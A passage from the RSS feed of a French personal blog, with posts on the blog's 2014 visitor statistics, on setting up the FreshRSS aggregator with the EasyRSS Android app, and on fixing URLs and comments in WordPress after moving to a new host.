même passé le cap du million, avec 1 035 066 visites à ce jour !&lt;/p&gt;&#xA;&lt;p&gt;Le nombre de visiteurs est clairement en baisse depuis 2012. Cela s&amp;rsquo;explique par le nombre d&amp;rsquo;articles lui aussi nettement en baisse, et peut-être sur les sujets abordés. Ce qui est sûr, c&amp;rsquo;est que j&amp;rsquo;y ai consacré beaucoup moins de temps ces deux dernières années. Après avoir passé la barre des 10 000 visites mensuelles en 2012, la moyenne 2013 est autour de  7 500 visites, et en-dessous de 5 000 visites pour l&amp;rsquo;année 2014. Au moins, la baisse est régulière&amp;hellip; ;-)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2015/01/stat2.png&#34; &gt;&lt;img alt=&#34;nombre de visites par mois&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;291px&#34; data-flex-grow=&#34;121&#34; height=&#34;370&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2014/stat2-450.png&#34; width=&#34;450&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;C&amp;rsquo;est confirmé en comparant les années de 2009 à 2014 :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;31 694 en 2009&lt;/li&gt;&#xA;&lt;li&gt;45 260 en 2010&lt;/li&gt;&#xA;&lt;li&gt;70 283 en 2011&lt;/li&gt;&#xA;&lt;li&gt;107 008 en 2012&lt;/li&gt;&#xA;&lt;li&gt;91 574 en 2013&lt;/li&gt;&#xA;&lt;li&gt;48 604 en 2014&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Le record mensuel reste de 11 397 visites en octobre 2012, et la baisse à peu près régulière jusqu&amp;rsquo;à atteindre 4 000 visites mensuelles en 2014. Les chiffres de novembre/décembre ne sont pas à prendre en compte, puisque le blog chez free.fr a été arrêté courant novembre.&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-articles&#34;&gt;Les articles&#xA;&lt;/h3&gt;&lt;p&gt;Il y a maintenant 894 articles sur le blog, et 1 068 commentaires.&lt;/p&gt;&#xA;&lt;p&gt;Comme à chaque fois, voilà le « &lt;strong&gt;top 20&lt;/strong&gt;» des articles les plus consultés fin 2014, avec les chiffres de 2010/2011/2012 pour ceux qui étaient déjà présents :&#xA;Article2010201120122014&lt;a class=&#34;link&#34; href=&#34;./?p=2424&#34; &gt;Rééducation du coude&lt;/a&gt;3 44110 79724 21344 282&lt;a class=&#34;link&#34; href=&#34;./?p=2829&#34; &gt;Fracture du coude - 6 mois après&lt;/a&gt;1 1013 96012 23729 854&lt;a class=&#34;link&#34; href=&#34;../?p=3933&#34; &gt;Convertir les fichiers TS de la Freebox (SD)&lt;/a&gt;2 0318 20922 907&lt;a class=&#34;link&#34; href=&#34;./?p=738&#34; &gt;Les oursins n&amp;rsquo;aiment pas le Round-up&lt;/a&gt;1 0221 7146 69712 404&lt;a class=&#34;link&#34; href=&#34;./?p=45&#34; &gt;Le zona, c&amp;rsquo;est la zone&lt;/a&gt;2 9135 1608 50512 232&lt;a class=&#34;link&#34; href=&#34;./?p=3946&#34; &gt;L&amp;rsquo;obsolescence programmée&lt;/a&gt;5 65511 710&lt;a class=&#34;link&#34; href=&#34;./?p=310&#34; &gt;VTT Giant&lt;/a&gt;4 3646 7658 90511 359&lt;a class=&#34;link&#34; href=&#34;./?p=5440&#34; &gt;Ubuntu 12.04 – Installation et personnalisation&lt;/a&gt;6 44010 792&lt;a class=&#34;link&#34; href=&#34;./?p=3010&#34; &gt;“Écoutez” France Culture… en mp3 (2)&lt;/a&gt;7332 2264 7607 304&lt;a class=&#34;link&#34; href=&#34;./?p=218&#34; &gt;Wengo plutôt que Skype&lt;/a&gt;1 1202 8664 1226 684&lt;a class=&#34;link&#34; href=&#34;./?p=849&#34; &gt;VirtualBox&lt;/a&gt;3 7964 8665 5536 063&lt;a class=&#34;link&#34; href=&#34;./?p=6&#34; &gt;Les démons de Jésus&lt;/a&gt;2 3974 0034 9236 011&lt;a class=&#34;link&#34; href=&#34;./?p=366&#34; &gt;Le pays Gallo&lt;/a&gt;1 4832 5194 1715 810&lt;a class=&#34;link&#34; href=&#34;./?p=239&#34; &gt;Photos endommagées ? Photorec est là&lt;/a&gt;3 0735 488&lt;a class=&#34;link&#34; href=&#34;./?p=4619&#34; &gt;Mise à jour WordPress 3.2.1&lt;/a&gt;1 5943 6385 176&lt;a class=&#34;link&#34; href=&#34;./?p=2273&#34; &gt;Sauvegarder ses données sous Ubuntu&lt;/a&gt;1 4352 6703 5224 418&lt;a class=&#34;link&#34; href=&#34;./?p=3548&#34; &gt;Migration d’Evolution à Thunderbird&lt;/a&gt;1 8433 1984 158&lt;a class=&#34;link&#34; href=&#34;./?p=2988&#34; &gt;Zazie dans le métro – Raymond Queneau&lt;/a&gt;4 068&lt;a class=&#34;link&#34; href=&#34;./?p=1870&#34; &gt;Tristes tropiques – Claude Lévi-Strauss&lt;/a&gt;1 0171 8432 9263 717&lt;a class=&#34;link&#34; href=&#34;./?p=3038&#34; &gt;Le guide TV libre QMagneto&lt;/a&gt;3 258&#xA;On y retrouve toujours un peu les mêmes, forcément, l&amp;rsquo;accumulation au fil des années aidant : les articles sur ma fracture du coude tiennent le haut du podium, et pour longtemps je pense&amp;hellip; j&amp;rsquo;ai d&amp;rsquo;ailleurs fermé les commentaires sur ces deux articles, les questions devenant un peu redondantes.&lt;/p&gt;&#xA;&lt;p&gt;Tout de même, deux nouvelles apparitions :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;./?p=2988&#34; &gt;Zazie dans le métro – Raymond Queneau&lt;/a&gt; : un deuxième livre qui apparaît dans la liste, c&amp;rsquo;est une bonne nouvelle. Vu les commentaires qu&amp;rsquo;il y a eu sur cet article, les visiteurs sont surtout des élèves en quête d&amp;rsquo;information pour un devoir scolaire !! Mais bon&amp;hellip; Tristes tropiques se sent moins seul dans cette liste.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;./?p=3038&#34; &gt;Le guide TV libre QMagneto&lt;/a&gt; : l&amp;rsquo;article est référencé sur la documentation de Ubuntu-fr.org ici (j&amp;rsquo;en ai profité pour mettre le lien à jour suite au changement d&amp;rsquo;hébergeur), ceci explique cela.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Je viens d&amp;rsquo;activer les stats sur le nouvel hébergeur (avec le plugin &lt;a class=&#34;link&#34; href=&#34;http://jetpack.me/support/wordpress-com-stats/&#34;  title=&#34;plugin Jetpack&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Jetpack&lt;/a&gt;), on verra l&amp;rsquo;année prochaine ce que cela donne, car les compteurs sont désormais remis à zéro&amp;hellip;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>FreshRSS et EasyRSS : une bonne combinaison</title>
            <link>https://pled.fr/freshrss-et-easyrss-une-bonne-combinaison/</link>
            <pubDate>Sun, 28 Dec 2014 18:55:53 +0000</pubDate>
            <guid>https://pled.fr/freshrss-et-easyrss-une-bonne-combinaison/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;logo EasyRSS&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;easyrsslogo.png#floatleft&#34;&gt; Pouvoir surveiller l&amp;rsquo;activité de ses sites préférés en un clin d&amp;rsquo;œil en obtenant une vue d&amp;rsquo;ensemble des dernières actualités ou articles, c&amp;rsquo;est vraiment très pratique. C&amp;rsquo;est ce que permet un agrégateur &lt;strong&gt;RSS&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Puisque j&amp;rsquo;ai du migrer mon blog sur un hébergeur payant (voir &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=1&#34;  title=&#34;Bienvenue sur le nouveau blog !&#34;&#xA;    &gt;ici&lt;/a&gt;), je bénéficie de nouvelles possibilités, comme par exemple installer un agrégateur RSS côté serveur.&lt;/p&gt;&#xA;&lt;p&gt;Voyons un peu de quoi il s&amp;rsquo;agit, et de la solution que j&amp;rsquo;ai mis en place : &lt;strong&gt;FreshRSS&lt;/strong&gt; côté serveur, et &lt;strong&gt;EasyRSS&lt;/strong&gt; sur le smartphone.&lt;/p&gt;&#xA;&lt;p&gt;Info&lt;/p&gt;&#xA;&lt;p&gt;28-mars-2018 : J&amp;rsquo;ai fait un autre article &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=11606&#34; &gt;ici&lt;/a&gt; quand j&amp;rsquo;ai installé une nouvelle version de FreshRSS sur mon serveur. Ce qui suit est toujours valable, à quelques nuances près (l&amp;rsquo;endroit où remplir le mot de passe API par exemple). Il y a surtout une nouvelle information à propos de la mise à jour automatique des flux, que je n&amp;rsquo;avais pas résolu dans cer article !&lt;/p&gt;&#xA;&lt;h3 id=&#34;rss&#34;&gt;RSS&#xA;&lt;/h3&gt;&lt;p&gt;On appelle donc cela la &lt;a class=&#34;link&#34; href=&#34;https://fr.wikipedia.org/wiki/Syndication_de_contenu&#34;  title=&#34;Syndication de contenu sur wikipedia&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;syndication de contenu&lt;/a&gt;, et c&amp;rsquo;est rendu possible grâce à RSS 2.0 ( &lt;strong&gt;R&lt;/strong&gt; eally &lt;strong&gt;S&lt;/strong&gt; imple &lt;strong&gt;S&lt;/strong&gt; yndication), qui définit le format de données qui sera échangé. À noter qu&amp;rsquo;il existe un autre format appelé &lt;a class=&#34;link&#34; href=&#34;https://fr.wikipedia.org/wiki/Atom&#34;  title=&#34;Atom sur wikipedia&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Atom&lt;/a&gt;, qui permet de faire la même chose pour autant que je sache, mais peut-être moins populaire.&lt;/p&gt;&#xA;&lt;p&gt;Ainsi, à partir d&amp;rsquo;un logiciel &lt;strong&gt;agrégateur&lt;/strong&gt; dans lequel vous avez saisi préalablement les sites qui vous désirez suivre, vous pouvez avoir un aperçu rapide des nouveaux articles publiés par vos sites préférés. Plus besoin d&amp;rsquo;aller visiter chaque site un par un pour savoir si un article a été publié&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Exemple avec Liferea sous Ubuntu :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;Liferea, un agrégateur de flux sous Linux&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;313px&#34; data-flex-grow=&#34;130&#34; height=&#34;345&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/freshrss-et-easyrss-une-bonne-combinaison/Liferea-450.png&#34; width=&#34;450&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Mais il y a encore mieux : faire tourner ce logiciel sur un serveur, afin qu&amp;rsquo;il fasse tout le travail automatiquement. Il ne reste plus qu&amp;rsquo;à vous connecter sur ce serveur, tout est prêt  : les derniers articles parus sont listés, leur contenu (ou une partie) a été mis en cache localement, il n&amp;rsquo;y a même plus besoin de se connecter sur le site d&amp;rsquo;origine, sauf si on le souhaite bien sûr.&lt;/p&gt;&#xA;&lt;p&gt;C&amp;rsquo;est aussi intéressant lorsqu&amp;rsquo;on lit ses flux à partir d&amp;rsquo;un smartphone : il y a moins de data à être transféré, c&amp;rsquo;est donc plus rapide.&lt;/p&gt;&#xA;&lt;p&gt;Les logiciels permettant de faire cela sont légions, et là comme ailleurs, Google proposait sa propre solution : &lt;strong&gt;Google Reader&lt;/strong&gt;, une plateforme côté serveur donc, devenu assez vite populaire. Le seul souci est une fois de plus que vous confiiez vos données à Google. Mais Google a décidé d&amp;rsquo;arrêter son service en Mars 2013. Problème définitivement réglé donc.&lt;/p&gt;&#xA;&lt;p&gt;Dommage, car un très beau client Google Reader pour Android avait été réalisé : &lt;strong&gt;EasyRSS&lt;/strong&gt; (qui n&amp;rsquo;est plus disponible sur GooglePlay), avec un affichage soigné (et épuré), ainsi qu&amp;rsquo;une gestuelle adaptée au mobile.&lt;/p&gt;&#xA;&lt;h3 id=&#34;freshrss&#34;&gt;FreshRSS&#xA;&lt;/h3&gt;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;http://freshrss.org/&#34;  title=&#34;le site de FreshRSS&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;img alt=&#34;Logo FreshRSS&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1090px&#34; data-flex-grow=&#34;454&#34; height=&#34;44&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/freshrss-et-easyrss-une-bonne-combinaison/freshrsslogo.png&#34; width=&#34;200&#34;&gt;&lt;/a&gt; FreshRSS est décrit comme un agrégateur de flux léger et puissant, facile à héberger puisque écrit en PHP, langage fourni par tous les hébergeurs.&lt;/p&gt;&#xA;&lt;p&gt;Ce serait peut-être même le meilleur, comme le prétend avec humour son auteur ;-) :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;probably the best.. in my opinion&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3333px&#34; data-flex-grow=&#34;1388&#34; height=&#34;36&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/freshrss-et-easyrss-une-bonne-combinaison/thebesst.png&#34; width=&#34;500&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Au passage, l&amp;rsquo;auteur Marien Fressinaud est français, et c&amp;rsquo;est son premier projet. Il a présenté un bilan de son expérience sur Linuxfr : &lt;a class=&#34;link&#34; href=&#34;https://linuxfr.org/users/fargo/journaux/freshrss-2-ans-et-tout-va-bien&#34;  title=&#34;l&amp;#39;article sur Linuxfr&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;FreshRSS, 2 ans et tout va bien&lt;/a&gt;. C&amp;rsquo;est plutôt intéressant à lire.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai donc commencé par installer FreshRSS sur One.com, mon hébergeur. L&amp;rsquo;installation est on ne peut plus simple, une simple copie via FTP, puis on ouvre dans son navigateur l&amp;rsquo;adresse correspondante, typiquement &lt;a class=&#34;link&#34; href=&#34;http://mon.serveur/FreshRSS&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;http://mon.serveur/FreshRSS&lt;/a&gt;. Il y a des pré-requis côté serveur (voir &lt;a class=&#34;link&#34; href=&#34;http://doc.freshrss.org/doku.php?id=fr:users:installation:requirements&#34;  title=&#34;pré-requis serveur&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;ici&lt;/a&gt;), mais tout était bien disponible chez One.com.&lt;/p&gt;&#xA;&lt;p&gt;L&amp;rsquo;interface est assez intuitive, il ne reste plus qu&amp;rsquo;à créer un utilisateur, et ajouter ses sites préférés (j&amp;rsquo;ai personnellement importé ma liste de Liferea au format .ompl). En haut à droite de la page, un bouton de configuration vous donne accès aux différentes options/réglages/paramètres. Plusieurs thèmes sont disponibles.&lt;/p&gt;&#xA;&lt;p&gt;Et voilà, c&amp;rsquo;est terminé, et directement utilisable dans Firefox :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;FreshRSS dans Firefox&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;141&#34; height=&#34;319&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/freshrss-et-easyrss-une-bonne-combinaison/freshrss1-450.png&#34; width=&#34;450&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Pour une utilisation au clavier, il existe des raccourcis qui sont paramétrables dans la page de configuration. Par exemple :&lt;/p&gt;&#xA;&lt;p&gt;&amp;lsquo;j&amp;rsquo; pour passer à l&amp;rsquo;article suivant,&lt;/p&gt;&#xA;&lt;p&gt;&amp;lsquo;k&amp;rsquo; pour passer à l&amp;rsquo;article précédent&lt;/p&gt;&#xA;&lt;p&gt;&amp;lsquo;c&amp;rsquo; pour refermer&lt;/p&gt;&#xA;&lt;p&gt;etc&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Je le teste alors sur mon smartphone, un bon vieux HTC Desire équipé d&amp;rsquo;un écran 3,7&amp;quot;, et là, déception : l&amp;rsquo;affichage pose problème malgré le &amp;ldquo;responsive design&amp;rdquo;, l&amp;rsquo;écran est manifestement trop petit pour lire le flux RSS fourni. Dire qu&amp;rsquo;en 2010, le HTC Desire était au top&amp;hellip; :-(&lt;/p&gt;&#xA;&lt;p&gt;Il va donc falloir trouver une application Android dédiée&amp;hellip;&lt;/p&gt;&#xA;&lt;h3 id=&#34;easyrss&#34;&gt;EasyRSS&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;logo EasyRSS&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;200&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/freshrss-et-easyrss-une-bonne-combinaison/easyrsslogo.png&#34; width=&#34;200&#34;&gt; C&amp;rsquo;est là que je tombe sur EasyRSS, écrit pour Google Reader par un certain Sun Zheng. Google ayant arrêté son service, l&amp;rsquo;application est inutilisable, mais l&amp;rsquo;auteur a laissé les sources disponibles sur Github. Alkarex, un autre français impliqué dans le projet FreshRSS, décide alors de l&amp;rsquo;adapter à FreshRSS (fork), ce dernier étant compatible avec l&amp;rsquo;API Google. Soit exactement ce que je cherchais&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Encore un bel exemple des avantages du logiciel libre. Un projet peut être arrêté, repris par un autre, modifié, adapté, etc&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Il faut d&amp;rsquo;abord récupérer le .APK qui nous permettra de l&amp;rsquo;installer sur le smartphone. Pour cela, il faut aller &lt;a class=&#34;link&#34; href=&#34;https://github.com/Alkarex/EasyRSS&#34;  title=&#34;EasyRSS sur Github&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;sur la page du projet&lt;/a&gt;, et chercher ce fameux .APK, ce qui ne se révèle pas évident : il y a un lien sous &lt;strong&gt;Download&lt;/strong&gt; vers &amp;lsquo;APK available&amp;rsquo;,  qui nous emmène sur une page où il faut cliquer sur &amp;lsquo;EasyRSS-0.6.03-beta.apk&amp;rsquo;, une nouvelle page s&amp;rsquo;affiche alors, et là, il faut cliquer sur &amp;lsquo;View raw&amp;rsquo; pour enfin télécharger le package android. Bon, normalement, on finit par y arriver ! ;-)&lt;/p&gt;&#xA;&lt;p&gt;!! Attention, n&amp;rsquo;allez pas récupérer la version EasyRSS disponible sur Google Play, elle ne fonctionnera pas avec FreshRSS !!&lt;/p&gt;&#xA;&lt;p&gt;Avant de l&amp;rsquo;installer sur Android, il faut aller changer un ou deux paramètres côté FreshRSS : aller dans Configuration - Utilisateurs, et cocher la case suivante :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;autoriser l&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2325px&#34; data-flex-grow=&#34;969&#34; height=&#34;42&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/freshrss-et-easyrss-une-bonne-combinaison/API1.png&#34; width=&#34;407&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Enregistrer, puis remonter en haut de page, pour saisir un mot de passe pour l&amp;rsquo;accès à partir du portable :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;Mot de passe API&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1561px&#34; data-flex-grow=&#34;650&#34; height=&#34;63&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/freshrss-et-easyrss-une-bonne-combinaison/API2.png&#34; width=&#34;410&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Voilà, le serveur est prêt.&lt;/p&gt;&#xA;&lt;p&gt;Installer EasyRSS sur le smartphone, et lancer l&amp;rsquo;application. Un premier écran vous demandera de rentrer les informations suivantes :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;écran de connexion EasyRSS&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;144px&#34; data-flex-grow=&#34;60&#34; height=&#34;400&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/freshrss-et-easyrss-une-bonne-combinaison/easyrss1.png&#34; width=&#34;240&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;L&amp;rsquo;URL du service à saisir est comme suit :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;http://mon.serveur/FreshRSS/p/api/greader.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;http://mon.serveur/FreshRSS/p/api/greader.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Puis saisissez le nom d&amp;rsquo;utilisateur précédemment défini sur FreshRSS, et son mot de passe &amp;ldquo;API&amp;rdquo;. Voilà, c&amp;rsquo;est terminé&amp;hellip; Il ne reste plus qu&amp;rsquo;à profiter de cette belle application :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;144px&#34; data-flex-grow=&#34;60&#34; height=&#34;400&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/freshrss-et-easyrss-une-bonne-combinaison/easyrss3.png&#34; width=&#34;240&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;144px&#34; data-flex-grow=&#34;60&#34; height=&#34;400&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/freshrss-et-easyrss-une-bonne-combinaison/easyrss4.png&#34; width=&#34;240&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion&#xA;&lt;/h3&gt;&lt;p&gt;La solution parfaite alors ? pas tout à fait, puisque One.com n&amp;rsquo;autorise pas d&amp;rsquo;ajouter des tâches planifiées au système (cron tasks). :-(&lt;/p&gt;&#xA;&lt;p&gt;Comme c&amp;rsquo;est la solution proposée par FreshRSS, la seule alternative qui me reste, c&amp;rsquo;est de passer d&amp;rsquo;abord par la page web via Firefox, et cliquer sur rafraîchir. Puis lancer EasyRSS pour profiter de la lecture&amp;hellip;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Migration nouveau blog : suite</title>
            <link>https://pled.fr/migration-nouveau-blog-suite/</link>
            <pubDate>Sun, 21 Dec 2014 16:23:56 +0000</pubDate>
            <guid>https://pled.fr/migration-nouveau-blog-suite/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;wordpress&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;wordpress.png#floatleft&#34;&gt; Comme je le disais &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=1&#34;  title=&#34;Bienvenue sur le nouveau blog !&#34;&#xA;    &gt;ici&lt;/a&gt;, l&amp;rsquo;importation des tables wordpress &amp;lsquo;posts&amp;rsquo; et &amp;lsquo;comments&amp;rsquo; sur le nouveau  blog ne s&amp;rsquo;était pas trop mal passée, mis à part les catégories perdues pour une raison inconnue, ce qui m&amp;rsquo;avait tout de même obligé à reclasser tous les articles du blog, soit environ 800 ! Heureusement, j&amp;rsquo;ai pu le faire via le panneau d&amp;rsquo;administration de Wordpress, en utilisant l&amp;rsquo;option &amp;ldquo;Modification rapide&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;Mais ce n&amp;rsquo;était pas tout&amp;hellip; :-(&lt;/p&gt;&#xA;&lt;h3 id=&#34;zenphoto&#34;&gt;Zenphoto&#xA;&lt;/h3&gt;&lt;p&gt;Après la réinstallation de zenphoto (voir &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8101&#34;  title=&#34;Le retour de Zenphoto&#34;&#xA;    &gt;ici&lt;/a&gt;), il a bien fallu mettre à jour tous les articles du blog mentionnant les nouveaux albums disponibles&amp;hellip; environ 200 articles cette fois !&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai pu en faire une première partie directement en SQL, pour remplacer les URLs :&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-clike&#34; data-lang=&#34;clike&#34;&gt;update 0_posts&#xA;SET post_content = REPLACE(post_content, &amp;#39;pascal.ledisque.free.fr/wordpress&amp;#39;, &amp;#39;pled.fr&amp;#39;)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Le lien vers l&amp;rsquo;album était alors correct, mais l&amp;rsquo;affichage d&amp;rsquo;une image dans l&amp;rsquo;article ne marchait toujours pas. Plusieurs raisons à cela :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;utilisation du plugin zenpress pour certains articles (et je ne souhaite pas réinstaller ce plugin), et donc syntaxe différente.&lt;/li&gt;&#xA;&lt;li&gt;création à une époque de sous-albums dans Zenphoto, ce qui rendait les liens des articles créés précédemment invalides (et qui n&amp;rsquo;avaient pas été mis à jour).&lt;/li&gt;&#xA;&lt;li&gt;un problème lors de l&amp;rsquo;exportation/importation de la table &amp;lsquo;posts&amp;rsquo; avec le caractères &amp;lsquo;&amp;amp;&amp;rsquo; utilisé par Zenphoto, et malencontreusement transformé en &amp;lsquo;&amp;amp;&amp;rsquo;, soit son équivalent en code HTML.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Résultat : afin de tout remettre à plat une bonne fois pour toutes, j&amp;rsquo;ai donc mis à jour les 200 articles un par un&amp;hellip; ça m&amp;rsquo;a pris un peu de temps, mais ça y est, c&amp;rsquo;est fait ! Sauf erreur de ma part, tous les articles vers l&amp;rsquo;album photo sont maintenant à jour.&lt;/p&gt;&#xA;&lt;h3 id=&#34;commentaires&#34;&gt;Commentaires&#xA;&lt;/h3&gt;&lt;p&gt;J&amp;rsquo;ai également eu un léger problème avec les commentaires d&amp;rsquo;articles.&lt;/p&gt;&#xA;&lt;p&gt;Première erreur, j&amp;rsquo;ai importé la table &amp;lsquo;posts&amp;rsquo; de mon ancien blog alors que j&amp;rsquo;avais déjà créé des articles sur le nouveau serveur. Résultat, un petit micmac sur les commentaires assignés à de mauvais articles.&lt;/p&gt;&#xA;&lt;p&gt;Cela ne concernait que quelques articles heureusement (les premiers du blog), et j&amp;rsquo;ai remis les bons IDs dans la table &amp;lsquo;comments&amp;rsquo; manuellement, ça ne m&amp;rsquo;a pas pris longtemps. Heureusement, j&amp;rsquo;avais une version correcte en local sur mon PC, il m&amp;rsquo;a suffit de comparer disons les vingt premiers articles du blog.&lt;/p&gt;&#xA;&lt;p&gt;Un dernier problème est apparu : les comptes des commentaires pour un article donné n&amp;rsquo;étaient pas correct. Un article avec commentaires pouvait afficher &amp;ldquo;Il n&amp;rsquo;y a pas de commentaires à cet article&amp;rdquo;, ou le nombre de commentaires était incorrect.&lt;/p&gt;&#xA;&lt;p&gt;Pour résoudre cela, j&amp;rsquo;ai utilisé un plugin qui m&amp;rsquo;a tout corrigé en deux secondes: &lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/plugins/web-ninja-comment-count-fixer/&#34;  title=&#34;plugin \&amp;#34;Web Ninja Comment Count Fixer\&amp;#34;&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Web Ninja Comment Count Fixer&lt;/a&gt;. Pour info, je l&amp;rsquo;ai désactivé une fois le problème réparé : il y a des options pour automatiser l&amp;rsquo;opération, mais je n&amp;rsquo;en vois pas l&amp;rsquo;utilité dans mon cas (à priori, il y a eu des problèmes entre Wordpress et Disqus, un service de commentaires centralisé).&lt;/p&gt;&#xA;&lt;h3 id=&#34;google-vidéos&#34;&gt;Google vidéos&#xA;&lt;/h3&gt;&lt;p&gt;J&amp;rsquo;ai pu me rendre compte d&amp;rsquo;un autre problème pendant ces manipulations m&amp;rsquo;amenant à parcourir de vieux articles : certains liens vers les videos que j&amp;rsquo;avais stockées sur Google ne fonctionnent plus. Normal, puisque Google a arrêté son  